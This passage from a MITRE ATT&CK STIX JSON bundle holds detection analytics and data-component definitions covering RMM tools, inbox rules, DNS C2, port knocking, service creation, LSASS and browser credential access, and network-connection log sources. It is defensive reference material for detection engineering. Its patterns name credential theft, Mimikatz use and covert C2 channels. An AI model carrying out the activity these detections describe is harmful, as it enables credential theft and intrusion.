                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=3, 22"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--d2ff4b56-8351-4ed8-b0fb-d8605366005f",
                    "name": "WinEventLog:Microsoft-Windows-Windows Firewall With Advanced Security/Firewall",
                    "channel": "new rule allowing inbound or outbound connections for remote desktop software"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "Image",
                    "description": "RMM software can vary; defenders should update rules to account for additional binaries (e.g., ConnectWise, Zoho Assist)"
                },
                {
                    "field": "DestinationPort",
                    "description": "RMM software may use configurable or random high ports outside of standard (e.g., 7070, 5650)"
                },
                {
                    "field": "ParentImage",
                    "description": "Expected parent process may vary in different enterprise contexts"
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlation window for install-to-beacon or process-to-network event should match operational environment"
                }
            ]
        },
        {
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            "created": "2025-10-21T15:10:28.402Z",
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                    "url": "https://attack.mitre.org/detectionstrategies/DET0576#AN1589",
                    "external_id": "AN1589"
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            ],
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            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 1589",
            "description": "Creation of inbox rules via PowerShell (New-InboxRule) or transport rules using Exchange cmdlets. Correlates user behavior, cmdlet usage, and rule properties.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            "x_mitre_platforms": [
                "Windows"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "WinEventLog:PowerShell",
                    "channel": "EventCode=4103, 4104, 4105, 4106"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4688"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--b33d36e3-d7ea-4895-8eed-19a08a8f7c4f",
                    "name": "m365:exchange",
                    "channel": "Cmdlet - New-InboxRule"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "UserContext",
                    "description": "Certain service accounts or admin contexts may be expected to run these rules."
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlate between rule creation and follow-on message forwarding within this timeframe."
                },
                {
                    "field": "TargetMailbox",
                    "description": "Whitelisted or trusted destination addresses may be tuned per org policy."
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--fe648823-66c8-4cc3-8a8e-38616194464c",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
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            ],
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1124",
            "description": "Detects clients issuing DNS queries with high volume, long subdomain lengths, encoded payload patterns, or to known malicious infrastructure; indicative of DNS-based C2 channels.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "Network Devices"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "NSM:Flow",
                    "channel": "dns.log"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "DomainReputationFeed",
                    "description": "List of suspicious/malicious C2 domains"
                },
                {
                    "field": "QueryRatePerClient",
                    "description": "Tunable burst rate per IP per second"
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            ],
            "x_mitre_deprecated": false
        },
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            "type": "x-mitre-analytic",
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                    "source_name": "mitre-attack",
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                    "external_id": "AN0845"
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0845",
            "description": "Router/switch receives a knock pattern (same src touches device unicast, broadcast, and network-address on same or stepped ports) followed by ACL/line-vty/service enable and the first mgmt session success.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "Network Devices"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
                    "name": "networkdevice:syslog",
                    "channel": "Config/ACL changes, line vty transport input changes, telnet/ssh/http(s) enable, image/feature module changes."
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "NSM:Flow",
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            ],
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                {
                    "field": "MgmtPortSet",
                    "description": "Mgmt ports to focus on: 22,23,2323,80,443,161,4786."
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                {
                    "field": "DeviceRole",
                    "description": "Tighten thresholds on edge/internet-facing devices."
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            "x_mitre_deprecated": false
        },
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            "created": "2025-10-21T15:10:28.402Z",
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                    "source_name": "mitre-attack",
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            "description": "Unusual enumeration of services and resources through cloud APIs such as AWS CLI `describe-*`, Azure Resource Manager queries, or GCP project listings. Defender perspective includes anomalous API calls, unexpected volume of service enumeration, and correlation of discovery with recently compromised sessions.",
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            "x_mitre_attack_spec_version": "3.3.0",
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                "enterprise-attack"
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                "IaaS"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--8c826308-2760-492f-9e36-4f0f7e23bcac",
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                    "channel": "DescribeInstances, DescribeServices, ListFunctions: High frequency enumeration calls or unusual user agents performing discovery"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--b5d0492b-cda4-421c-8e51-ed2b8d85c5d0",
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                    "channel": "AssumeRole: Discovery actions tied to assumed identities outside of normal context"
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                    "field": "EnumerationRateThreshold",
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                    "field": "UserAgentFilter",
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            "x_mitre_deprecated": false
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            "type": "x-mitre-analytic",
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                    "source_name": "mitre-attack",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
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                "enterprise-attack"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
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                    "channel": "EventCode=4688"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705",
                    "name": "WinEventLog:System",
                    "channel": "EventCode=7045"
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                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=12"
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                    "field": "ProcessWhitelist",
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                    "field": "ServiceNamePatterns",
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            "created": "2025-10-21T15:10:28.402Z",
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            "x_mitre_attack_spec_version": "3.3.0",
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                "enterprise-attack"
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                "PRE"
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                    "source_name": "mitre-attack",
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            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
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            ],
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                    "x_mitre_data_component_ref": "x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705",
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                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=13, 14"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=3, 22"
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                    "field": "ServiceBinaryAllowlist",
                    "description": "Known binaries/services expected to be invoked via services.exe"
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                    "field": "ParentProcessCorrelationWindow",
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                },
                {
                    "field": "RemoteExecutionHosts",
                    "description": "Approved remote hosts that may trigger service execution (e.g., via PsExec)"
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            ]
        },
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            "type": "x-mitre-analytic",
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            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
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                    "external_id": "AN1428"
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1428",
            "description": "Detects the execution of scripting or command interpreters (e.g., powershell.exe, cmd.exe, wscript.exe) outside expected administrative time windows or from abnormal user contexts, often followed by encoded/obfuscated arguments or secondary execution events.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "CommandLinePattern",
                    "description": "Tunable to match encoded or uncommon script execution patterns specific to the environment."
                },
                {
                    "field": "ParentProcessName",
                    "description": "May vary across managed/unmanaged workstations or user-driven script activity."
                },
                {
                    "field": "TimeWindow",
                    "description": "Used to restrict analysis to work hours or known admin maintenance windows."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--ff0d2f8d-1fff-4bda-94e6-c0cd50abe6ed",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0260#AN0719",
                    "external_id": "AN0719"
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            ],
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            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 0719",
            "description": "Forged web credentials on Windows endpoints may be detected by anomalous browser cookie files, local token cache manipulations, or tools injecting tokens into sessions. Defenders may observe processes accessing LSASS or browser credential stores unexpectedly, followed by unusual logon sessions.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=10"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4624, 4648"
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            ],
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                {
                    "field": "ProcessWhitelist",
                    "description": "Define expected processes that access LSASS or browser credential files."
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
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            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0866",
            "description": "Detects unexpected use of usermod, gpasswd, or direct modification of /etc/group to elevate user group membership.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77",
                    "name": "auditd:SYSCALL",
                    "channel": "SYSCALL for usermod or /etc/group file modification"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "GroupName",
                    "description": "Focus on 'sudo', 'wheel', or custom high-privilege groups"
                },
                {
                    "field": "UserContext",
                    "description": "Account that initiated the change (e.g., service account or unrecognized user)"
                },
                {
                    "field": "TimeWindow",
                    "description": "Detect elevation outside change windows"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
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            ],
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4697"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170",
                    "name": "WinEventLog:Sysmon",
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                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3551476e-14f5-4e48-a518-e82135329e03",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=6"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ServiceNamePattern",
                    "description": "Regex for suspicious or uncommon service names (e.g., `svhostx`, `winhelp`, etc.)"
                },
                {
                    "field": "ImagePathFilter",
                    "description": "Flag services whose image path resides in uncommon directories (e.g., `C:\\Users\\`, `C:\\Temp\\`)"
                },
                {
                    "field": "DriverExtensionList",
                    "description": "Watch for `.sys` files loaded by `sc`, Registry, or `ZwLoadDriver` APIs"
                },
                {
                    "field": "StartupTypeChangeWindow",
                    "description": "Temporal window to correlate Registry `Start` key changes with service creation"
                },
                {
                    "field": "UnsignedBinaryAlert",
                    "description": "Raise alerts for unsigned binaries registered as services"
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--ffc71b21-982b-4fc7-8276-bd679d67bc95",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "external_id": "AN1563"
                }
            ],
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1563",
            "description": "Execution of commands to query system locale and language settings, such as 'defaults read -g AppleLocale' or 'systemsetup -gettimezone'. Unusual parent processes or execution contexts of these commands may indicate adversarial discovery.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "macos:unifiedlog",
                    "channel": "defaults read -g AppleLocale or systemsetup -gettimezone"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:osquery",
                    "channel": "execve"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ExecutionPath",
                    "description": "Restrict or monitor processes outside of system utilities that query AppleLocale or system language settings."
                }
            ],
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                {
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Malware Content",
            "description": "Code, strings, signatures, and other identifying characteristics of a malicious payload stored within a malware repository. It includes both static (file-based) and dynamic (behavioral or execution-based) components that can be analyzed for threat intelligence, detection, and prevention purposes. Examples:\n\n- Static Analysis:\n    - Executable Code: Analyze binary data to identify unique patterns, obfuscated code, or embedded resources.\n    - Strings Extraction: Use tools like strings or YARA rules to identify hardcoded URLs, IPs, filenames, or suspicious function calls.\n    - Signatures: Extract cryptographic hashes (MD5, SHA256) of files to track known malware variants or detect previously unseen samples.\n- Dynamic Analysis:\n    - Behavioral Observations: Monitor execution traces to capture API calls, registry modifications, or network traffic patterns indicative of malicious behavior.\n    - Memory Analysis: Examine memory dumps to uncover injected code or runtime-decrypted payloads.\n    - Artifacts: Record file system changes, process creation events, and command-line arguments.\n- Threat Intelligence Integration:\n    - Campaign Attribution: Associate observed code snippets or signatures with known APT campaigns or ransomware families.\n    - Indicator Sharing: Share identified Indicators of Compromise (IOCs) with threat intelligence platforms (e.g., MISP, OpenCTI).\n- Examples of Malware Content:\n    - Embedded C2 domains (e.g., malicious-domain.com hardcoded in the payload).\n    - Fileless malware indicators, such as PowerShell scripts invoking Invoke-Mimikatz.\n    - Malware-specific signatures, such as unique PE header values for a particular strain.\n\n*Data Collection Measures:*\n\n- Collection from Public Malware Repositories:\n    - VirusTotal: Obtain samples for static analysis.\n    - Hybrid Analysis: Gather execution data from sandbox analysis.\n    - Any.Run: Access interactive malware execution traces.\n    - MalwareBazaar: Download malware samples for research and signature generation.\n    - Automate data extraction using repository APIs (e.g., VirusTotal API for hash lookups or sample retrieval).\n- Internal Malware Labs:\n    - Sandbox Environments: Use dynamic malware analysis tools such as Cuckoo Sandbox or Joe Sandbox to execute and monitor malware in a controlled environment. Capture runtime behavior logs, memory dumps, and file system changes.\n    - Reverse Engineering: Disassemble binaries with tools like IDA Pro, Ghidra, or Radare2 to identify malicious functionality and extract code patterns.\n- EDR/Endpoint Telemetry:\n    - Collect samples of malicious binaries or scripts from infected endpoints using tools like CrowdStrike, Carbon Black, or SentinelOne.\n    - Extract memory-resident payloads from live systems for analysis.\n- Threat Intelligence Platforms:\n    - Gather contextual metadata for identified malware using tools like OpenCTI, Recorded Future, or ThreatConnect. Participate in intelligence-sharing groups such as ISACs (e.g., FS-ISAC, IT-ISAC).\n- Custom Data Collection Pipelines: Use open-source tools like malwoverview or Maltrail to automate sample downloads, hash extraction, and IOC generation.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_version": "2.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_log_sources": [
                {
                    "name": "Malware Repository",
                    "channel": "None"
                }
            ]
        },
        {
            "type": "x-mitre-data-component",
            "id": "x-mitre-data-component--16e07530-764b-4d83-bae0-cdbfc31bf21d",
            "created": "2021-10-20T15:05:19.273Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/datacomponents/DC0049",
                    "external_id": "DC0049"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:14:39.893Z",
            "name": "Snapshot Deletion",
            "description": "The removal of a point-in-time backup of a cloud storage volume, virtual machine (VM), or database.\n\n*Data Collection Measures:*\n\n- AWS CloudTrail\n    - Logs `DeleteSnapshot` API calls in EC2, RDS, and EBS services.\n- Azure Monitor Logs\n    - Tracks snapshot deletions via `Microsoft.Compute/snapshots/delete` API calls.\n- Google Cloud Logging\n    - Detects snapshot removal through `compute.disks.deleteSnapshot` events.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_version": "2.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_log_sources": [
                {
                    "name": "AWS:CloudTrail",
                    "channel": "DeleteSnapshot"
                },
                {
                    "name": "esxi:hostd",
                    "channel": "snapshot.removeall or snapshot file deletion"
                }
            ]
        },
        {
            "type": "x-mitre-data-component",
            "id": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
            "created": "2021-10-20T15:05:19.274Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/datacomponents/DC0082",
                    "external_id": "DC0082"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2026-05-12T15:12:00.770Z",
            "name": "Network Connection Creation",
            "description": "The initial establishment of a network session, where a system or process initiates a connection to a local or remote endpoint. This typically involves capturing socket information (source/destination IP, ports, protocol) and tracking session metadata. Monitoring these events helps detect lateral movement, exfiltration, and command-and-control (C2) activities.\n\n*Data Collection Measures:*\n\n- Windows:\n    - Event ID 5156 \u2013 Filtering Platform Connection - Logs network connections permitted by Windows Filtering Platform (WFP).\n    - Sysmon Event ID 3 \u2013 Network Connection Initiated - Captures process, source/destination IP, ports, and parent process.\n- Linux/macOS:\n    - Netfilter (iptables), nftables logs - Tracks incoming and outgoing network connections.\n    - AuditD (`connect` syscall) - Logs TCP, UDP, and ICMP connections.\n    - Zeek (`conn.log`) - Captures protocol, duration, and bytes transferred.\n- Cloud & Network Infrastructure:\n    - AWS VPC Flow Logs / Azure NSG Flow Logs - Logs IP traffic at the network level in cloud environments.\n    - Zeek (conn.log) or Suricata (network events) - Captures packet metadata for detection and correlation.\n- Endpoint Detection & Response (EDR):\n    - Detect anomalous network activity such as new C2 connections or data exfiltration attempts.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "ics-attack",
                "mobile-attack",
                "enterprise-attack"
            ],
            "x_mitre_version": "2.1",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_log_sources": [
                {
                    "name": "NSM:Flow",
                    "channel": "log entries indicating network connection initiation on macOS"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "connect"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve: Execs of chromium, google-chrome, firefox, libreoffice with http(s) in cmdline"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "connect/sendto"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "open or connect syscalls on /tmp/ssh-* or $SSH_AUTH_SOCK"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "socket/connect with TLS context by unexpected process"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "socket/bind: New bind() to a previously closed port shortly after the sequence."
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "sendto/connect"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "outbound connections"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "socket/bind: Process binds to a new local port shortly after knock"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "socket/connect calls showing SSH processes forwarding arbitrary ports"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "openat,connect -k discovery"
                },
                {
                    "name": "AWS:VPCFlowLogs",
                    "channel": "Outbound connection to 169.254.169.254 from EC2 workload"
                },
                {
                    "name": "AWS:VPCFlowLogs",
                    "channel": "Large transfer volume (>20MB) from RDS IP range to external public IPs"
                },
                {
                    "name": "AWS:VPCFlowLogs",
                    "channel": "High outbound traffic from new region resource"
                },
                {
                    "name": "AWS:VPCFlowLogs",
                    "channel": "Outbound connections to port 22, 3389"
                },
                {
                    "name": "AWS:VPCFlowLogs",
                    "channel": "Traffic observed on mirror destination instance"
                },
                {
                    "name": "cni:netflow",
                    "channel": "outbound connection to internal or external APIs"
                },
                {
                    "name": "ebpf:syscalls",
                    "channel": "socket connect"
                },
                {
                    "name": "esxi:esxupdate",
                    "channel": "/var/log/esxupdate.log or /var/log/vmksummary.log"
                },
                {
                    "name": "esxi:hostd",
                    "channel": "System service interactions"
                },
                {
                    "name": "esxi:hostd",
                    "channel": "Service initiated connections"
                },
                {
                    "name": "esxi:hostd",
                    "channel": "Service-Based Network Connection"
                },
                {
                    "name": "esxi:vmkernel",
                    "channel": "protocol egress"
                },
                {
                    "name": "esxi:vmkernel",
                    "channel": "network activity"
                },
                {
                    "name": "esxi:vmkernel",
                    "channel": "None"
                },
                {
                    "name": "esxi:vmkernel",
                    "channel": "network session initiation with external HTTPS services"
                },
                {
                    "name": "linux:osquery",
                    "channel": "family=AF_PACKET or protocol raw; process name not in allowlist."
                },
                {
                    "name": "linux:syslog",
                    "channel": "network"
                },
                {
                    "name": "linux:syslog",
                    "channel": "postfix/smtpd"
                },
                {
                    "name": "linux:syslog",
                    "channel": "New Wi-Fi connection established or repeated association failures"
                },
                {
                    "name": "linux:syslog",
                    "channel": "None"
                },
                {
                    "name": "linux:Sysmon",
                    "channel": "EventCode=3, 22"
                },
                {
                    "name": "macos:endpointsecurity",
                    "channel": "ES_EVENT_TYPE_NOTIFY_CONNECT"
                },
                {
                    "name": "macos:osquery",
                    "channel": "process_events/socket_events"
                },
                {
                    "name": "macos:osquery",
                    "channel": "execution of trusted tools interacting with external endpoints"
                },
                {
                    "name": "macos:osquery",
                    "channel": "launchd or network_events"
                },
                {
                    "name": "macos:osquery",
                    "channel": "process_events + launchd"
                },
                {
                    "name": "macos:osquery",
                    "channel": "process_events, socket_events"
                },
                {
                    "name": "macos:osquery",
                    "channel": "CONNECT: Long-lived connections from remote-control parents to external IPs/domains"
                },
                {
                    "name": "macos:osquery",
                    "channel": "None"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "connection attempts"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "connection open"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "network connection events"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "First outbound connection from the same PID/user shortly after an inbound trigger."
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "network sessions initiated by remote desktop apps"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Inbound connections to VNC/SSH ports"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "network"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Outbound Traffic"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "None"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "networkd or socket"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "log stream network activity"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Association and authentication events including failures and new SSIDs"
                },
                {
                    "name": "Network",
                    "channel": "None"
                },
                {
                    "name": "Network Traffic",
                    "channel": "None"
                },
                {
                    "name": "networkdevice:Flow",
                    "channel": "Traffic from mirrored interface to mirror target IP"
                },
                {
                    "name": "networkdevice:syslog",
                    "channel": "Dynamic route changes"
                },
                {
                    "name": "NSM:Connections",
                    "channel": "web domain alerts"
                },
                {
                    "name": "NSM:Connections",
                    "channel": "New outbound connection from Safari/Chrome/Firefox/Word"
                },
                {
                    "name": "NSM:Connections",
                    "channel": "Outbound connections from newly spawned child processes or from the browser to uncommon endpoints or on anomalous ports"
                },
                {
                    "name": "NSM:Connections",
                    "channel": "Outbound connection after script or installer launch"
                },
                {
                    "name": "NSM:Firewall",
                    "channel": "Outbound Connections"
                },
                {
                    "name": "NSM:Firewall",
                    "channel": "proxy or TLS inspection logs"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "New TCP/443 or TCP/80 to domain not previously seen for the user/host"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "conn.log"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Outbound connection to *.tunnels.api.visualstudio.com or *.devtunnels.ms"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Connections to *.devtunnels.ms or tunnels.api.visualstudio.com"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "HTTPs connection to tunnels.api.visualstudio.com"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Outbound or inbound TFTP file transfers of ROMMON or firmware binaries"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "connection: TCP connections to ports 139/445 to multiple hosts"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "connection: SMB connections to multiple internal hosts"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Outbound HTTP/S initiated by newly installed interpreter process"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "outbound connections to RMM services or to unusual destination ports"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Multiple failed connections (conn_state=REJ/S0 or history has 'R') across distinct ports from the same src_ip followed by success to a specific port."
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Sequence of REJ/S0 then SF success from same src_ip within TimeWindow."
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Series of denied/closed flows to distinct ports then success to mgmt port from same src_ip within TimeWindow."
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Outbound traffic spike through formerly blocked ports/subnets following config change"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "New egress to Internet by the same UID/host shortly after terminal exec"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "connection: Inbound connections to SSH or VPN ports"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "External access to container ports (2375, 6443)"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "remote access"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Outbound Connections"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "connection attempts"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "High-volume or repeated SNMP GETBULK/GETNEXT queries from untrusted or external IPs"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "outbound connections from host during or immediately after image build"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "new outbound connection from browser/office lineage"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "new outbound connection from exploited lineage"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Multiple failed connections to closed ports (history contains 'R' or conn_state in {REJ, S0}) followed by a successful handshake to a new port from same src within TimeWindowKnock"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Closed-port hits followed by success from same src_ip"
